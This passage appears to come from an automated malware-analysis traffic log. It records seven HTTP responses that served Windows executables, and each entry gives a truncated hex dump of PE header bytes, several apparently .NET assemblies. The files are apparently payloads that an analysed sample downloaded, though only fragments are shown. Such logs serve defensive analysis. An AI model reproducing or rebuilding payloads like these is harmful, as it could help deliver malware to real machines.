Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:54:11 GMTContent-Type: application/octet-streamContent-Length: 51712Last-Modified: Sat, 11 Jan 2025 02:20:42 GMTConnection: keep-aliveETag: "6781d57a-ca00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 2f 02 0b 02 06 00 00 16 00 00 00 60 00 00 00 00 00 00 fa 22 00 00 00 10 00 00 00 00 40 00 00 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 00 00 00 04 00 00 61 d9 00 00 02 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 30 8b 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 8b 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e0 14 00 00 00 10 00 00 00 16 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6e 5d 00 00 00 30 00 00 00 5e 00 00 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 ac 0f 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 70 64 61 74 61 00 00 90 00 00 00 00 a0 00 00 00 02 00 00 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:54:17 GMTContent-Type: application/octet-streamContent-Length: 29184Last-Modified: Sat, 11 Jan 2025 02:20:42 GMTConnection: keep-aliveETag: "6781d57a-7200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 95 d2 6a 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0b 00 00 1a 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 40 01 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 00 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 90 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 5c 18 00 00 00 20 00 00 00 1a 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 90 04 00 00 00 40 00 00 00 06 00 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 00 00 00 00 00 60 00 00 00 00 00 00 00 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 48 00 00 00 02 00 05 00 c4 24 00 00 98 13 00 00 01 00 00 00 01 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 30 03 00 8f 00 00 00 00 00 00 00 28 0a 00 00 06 de 03 26 de 00 72 01 00 00 70 72 09 00 00 70 28 02 00 00 06 de 03 26 de 00 20 b8 0b 00 00 28 05 00 00 0a 1f 28 28 06 00 00 0a 72 de 00 00 70 28 07 00 00 0a 28 08 00 00 0a 1f 23 28 06 00 00 0a 72 de 00 00 70 28 07 00 00 0a 28 08 00 00 0a 28 09 00 00 0a 72 1a 01 00 70 28 07 00 00 0a 28 08 00 00 0a 1f 24 28 06 00 00 0a 72 3c 01 00 70 72 1a 01 00 70 28 0a 00 00 0a 28 08 00 00 0a de 03 26 de 00 16 28 0b 00 00 0a 2a 00 01 28 00 00 00 00 00 00 07 07 00 03 01 00 00 01 00 00 0a 00 11 1b 00 03 01 00 00 01 00 00 28 00 5d 85 00 03 01 00 00 01 1b 30 02 00 3a 00 00 00 01 00 00 11 73 0c 00 00 0a 0a 06 02 6f 0d 00 00 0a 06 03 6f 0e 00 00 0a 06 28 0f 00 00 0a 6f 10 00 00 0a 06 17 6f 11 00 00 0a 06 17 6f 12 00 00 0a 06 28 13 00 00 0a 26 de 03 26 de 00 2a 00 00 01 10 00 00 00 00 00 00 36 36 00 03 01 00 00 01 1b 30 03 00 50 00 00 00 02 00 00 11 02 0a 06 69 28 15 00 00 0a 0b 2b 13 06 18 6a 5a 0a 07 28 16 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:54:22 GMTContent-Type: application/octet-streamContent-Length: 8704Last-Modified: Thu, 06 Mar 2025 08:45:12 GMTConnection: keep-aliveETag: "67c96098-2200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 02 68 c8 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0b 00 00 1a 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 40 01 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 00 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 90 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 44 18 00 00 00 20 00 00 00 1a 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 90 04 00 00 00 40 00 00 00 06 00 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 00 00 00 00 00 60 00 00 00 00 00 00 00 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 48 00 00 00 02 00 05 00 c4 24 00 00 80 13 00 00 01 00 00 00 01 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 30 03 00 8f 00 00 00 00 00 00 00 28 0a 00 00 06 de 03 26 de 00 72 01 00 00 70 72 09 00 00 70 28 02 00 00 06 de 03 26 de 00 20 b8 0b 00 00 28 05 00 00 0a 1f 28 28 06 00 00 0a 72 ca 00 00 70 28 07 00 00 0a 28 08 00 00 0a 1f 23 28 06 00 00 0a 72 ca 00 00 70 28 07 00 00 0a 28 08 00 00 0a 28 09 00 00 0a 72 fe 00 00 70 28 07 00 00 0a 28 08 00 00 0a 1f 24 28 06 00 00 0a 72 20 01 00 70 72 fe 00 00 70 28 0a 00 00 0a 28 08 00 00 0a de 03 26 de 00 16 28 0b 00 00 0a 2a 00 01 28 00 00 00 00 00 00 07 07 00 03 01 00 00 01 00 00 0a 00 11 1b 00 03 01 00 00 01 00 00 28 00 5d 85 00 03 01 00 00 01 1b 30 02 00 3a 00 00 00 01 00 00 11 73 0c 00 00 0a 0a 06 02 6f 0d 00 00 0a 06 03 6f 0e 00 00 0a 06 28 0f 00 00 0a 6f 10 00 00 0a 06 17 6f 11 00 00 0a 06 17 6f 12 00 00 0a 06 28 13 00 00 0a 26 de 03 26 de 00 2a 00 00 01 10 00 00 00 00 00 00 36 36 00 03 01 00 00 01 1b 30 03 00 50 00 00 00 02 00 00 11 02 0a 06 69 28 15 00 00 0a 0b 2b 13 06 18 6a 5a 0a 07 28 16 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:54:27 GMTContent-Type: application/octet-streamContent-Length: 8704Last-Modified: Mon, 03 Jun 2024 23:16:30 GMTConnection: keep-aliveETag: "665e4ece-2200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 5c 36 b8 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0b 00 00 1a 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 40 01 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 00 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 98 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 28 18 00 00 00 20 00 00 00 1a 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 98 04 00 00 00 40 00 00 00 06 00 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 00 00 00 00 00 60 00 00 00 00 00 00 00 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 48 00 00 00 02 00 05 00 c4 24 00 00 64 13 00 00 01 00 00 00 01 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 30 03 00 8f 00 00 00 00 00 00 00 28 0a 00 00 06 de 03 26 de 00 72 01 00 00 70 72 09 00 00 70 28 02 00 00 06 de 03 26 de 00 20 b8 0b 00 00 28 05 00 00 0a 1f 28 28 06 00 00 0a 72 ba 00 00 70 28 07 00 00 0a 28 08 00 00 0a 1f 23 28 06 00 00 0a 72 ba 00 00 70 28 07 00 00 0a 28 08 00 00 0a 28 09 00 00 0a 72 e4 00 00 70 28 07 00 00 0a 28 08 00 00 0a 1f 24 28 06 00 00 0a 72 06 01 00 70 72 e4 00 00 70 28 0a 00 00 0a 28 08 00 00 0a de 03 26 de 00 16 28 0b 00 00 0a 2a 00 01 28 00 00 00 00 00 00 07 07 00 03 01 00 00 01 00 00 0a 00 11 1b 00 03 01 00 00 01 00 00 28 00 5d 85 00 03 01 00 00 01 1b 30 02 00 3a 00 00 00 01 00 00 11 73 0c 00 00 0a 0a 06 02 6f 0d 00 00 0a 06 03 6f 0e 00 00 0a 06 28 0f 00 00 0a 6f 10 00 00 0a 06 17 6f 11 00 00 0a 06 17 6f 12 00 00 0a 06 28 13 00 00 0a 26 de 03 26 de 00 2a 00 00 01 10 00 00 00 00 00 00 36 36 00 03 01 00 00 01 1b 30 03 00 50 00 00 00 02 00 00 11 02 0a 06 69 28 15 00 00 0a 0b 2b 13 06 18 6a 5a 0a 07 28 16 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:54:33 GMTContent-Type: application/octet-streamContent-Length: 8704Last-Modified: Sat, 08 Apr 2023 06:04:36 GMTConnection: keep-aliveETag: "643103f4-2200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 02 68 c8 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0b 00 00 1a 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 40 01 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 00 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 90 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 44 18 00 00 00 20 00 00 00 1a 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 90 04 00 00 00 40 00 00 00 06 00 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 00 00 00 00 00 60 00 00 00 00 00 00 00 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 48 00 00 00 02 00 05 00 c4 24 00 00 80 13 00 00 01 00 00 00 01 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 30 03 00 8f 00 00 00 00 00 00 00 28 0a 00 00 06 de 03 26 de 00 72 01 00 00 70 72 09 00 00 70 28 02 00 00 06 de 03 26 de 00 20 b8 0b 00 00 28 05 00 00 0a 1f 28 28 06 00 00 0a 72 ca 00 00 70 28 07 00 00 0a 28 08 00 00 0a 1f 23 28 06 00 00 0a 72 ca 00 00 70 28 07 00 00 0a 28 08 00 00 0a 28 09 00 00 0a 72 fe 00 00 70 28 07 00 00 0a 28 08 00 00 0a 1f 24 28 06 00 00 0a 72 20 01 00 70 72 fe 00 00 70 28 0a 00 00 0a 28 08 00 00 0a de 03 26 de 00 16 28 0b 00 00 0a 2a 00 01 28 00 00 00 00 00 00 07 07 00 03 01 00 00 01 00 00 0a 00 11 1b 00 03 01 00 00 01 00 00 28 00 5d 85 00 03 01 00 00 01 1b 30 02 00 3a 00 00 00 01 00 00 11 73 0c 00 00 0a 0a 06 02 6f 0d 00 00 0a 06 03 6f 0e 00 00 0a 06 28 0f 00 00 0a 6f 10 00 00 0a 06 17 6f 11 00 00 0a 06 17 6f 12 00 00 0a 06 28 13 00 00 0a 26 de 03 26 de 00 2a 00 00 01 10 00 00 00 00 00 00 36 36 00 03 01 00 00 01 1b 30 03 00 50 00 00 00 02 00 00 11 02 0a 06 69 28 15 00 00 0a 0b 2b 13 06 18 6a 5a 0a 07 28 16 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:54:38 GMTContent-Type: application/octet-streamContent-Length: 29184Last-Modified: Sat, 11 Jan 2025 02:20:42 GMTConnection: keep-aliveETag: "6781d57a-7200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 21 5a 68 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0b 00 00 18 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 40 01 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 00 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 30 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 50 17 00 00 00 20 00 00 00 18 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 30 06 00 00 00 40 00 00 00 08 00 00 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 00 00 00 00 00 60 00 00 00 00 00 00 00 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 48 00 00 00 02 00 05 00 10 24 00 00 40 13 00 00 01 00 00 00 01 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 30 02 00 69 00 00 00 00 00 00 00 72 01 00 00 70 72 09 00 00 70 28 02 00 00 06 de 03 26 de 00 72 01 00 00 70 72 d0 00 00 70 28 02 00 00 06 de 03 26 de 00 28 0a 00 00 06 de 03 26 de 00 20 b8 0b 00 00 28 05 00 00 0a 7e 04 00 00 04 17 28 06 00 00 0a 1f 28 28 07 00 00 0a 72 3a 01 00 70 28 08 00 00 0a 28 09 00 00 0a de 03 26 de 00 16 28 0a 00 00 0a 2a 00 00 00 01 34 00 00 00 00 00 00 11 11 00 03 01 00 00 01 00 00 14 00 11 25 00 03 01 00 00 01 00 00 28 00 07 2f 00 03 01 00 00 01 00 00 3c 00 23 5f 00 03 01 00 00 01 1b 30 02 00 3a 00 00 00 01 00 00 11 73 0b 00 00 0a 0a 06 02 6f 0c 00 00 0a 06 03 6f 0d 00 00 0a 06 28 0e 00 00 0a 6f 0f 00 00 0a 06 17 6f 10 00 00 0a 06 17 6f 11 00 00 0a 06 28 12 00 00 0a 26 de 03 26 de 00 2a 00 00 01 10 00 00 00 00 00 00 36 36 00 03 01 00 00 01 13 30 04 00 6e 01 00 00 02 00 00 11 18 8d 13 00 00 01 13 0b 11 0b 16 72 8a 01 00 70 a2 11 0b 17 72 9a 01 00 70 a2 11 0b 0a 73 14 00 00 0a 0b 28 15 00 00 0a 13 0c 16 13 0d
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 09 Mar 2025 12:54:44 GMTContent-Type: application/octet-streamContent-Length: 8704Last-Modified: Tue, 27 Feb 2024 04:20:02 GMTConnection: keep-aliveETag: "65dd62f2-2200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 71 41 c8 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0b 00 00 1a 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 40 01 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 00 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 a0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 38 18 00 00 00 20 00 00 00 1a 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 a0 04 00 00 00 40 00 00 00 06 00 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 00 00 00 00 00 60 00 00 00 00 00 00 00 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 48 00 00 00 02 00 05 00 c4 24 00 00 74 13 00 00 01 00 00 00 01 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 30 03 00 8f 00 00 00 00 00 00 00 28 0a 00 00 06 de 03 26 de 00 72 01 00 00 70 72 09 00 00 70 28 02 00 00 06 de 03 26 de 00 20 b8 0b 00 00 28 05 00 00 0a 1f 28 28 06 00 00 0a 72 c2 00 00 70 28 07 00 00 0a 28 08 00 00 0a 1f 23 28 06 00 00 0a 72 c2 00 00 70 28 07 00 00 0a 28 08 00 00 0a 28 09 00 00 0a 72 f4 00 00 70 28 07 00 00 0a 28 08 00 00 0a 1f 24 28 06 00 00 0a 72 16 01 00 70 72 f4 00 00 70 28 0a 00 00 0a 28 08 00 00 0a de 03 26 de 00 16 28 0b 00 00 0a 2a 00 01 28 00 00 00 00 00 00 07 07 00 03 01 00 00 01 00 00 0a 00 11 1b 00 03 01 00 00 01 00 00 28 00 5d 85 00 03 01 00 00 01 1b 30 02 00 3a 00 00 00 01 00 00 11 73 0c 00 00 0a 0a 06 02 6f 0d 00 00 0a 06 03 6f 0e 00 00 0a 06 28 0f 00 00 0a 6f 10 00 00 0a 06 17 6f 11 00 00 0a 06 17 6f 12 00 00 0a 06 28 13 00 00 0a 26 de 03 26 de 00 2a 00 00 01 10 00 00 00 00 00 00 36 36 00 03 01 00 00 01 1b 30 03 00 50 00 00 00 02 00 00 11 02 0a 06 69 28 15 00 00 0a 0b 2b 13 06 18 6a 5a 0a 07 28 16 00 0
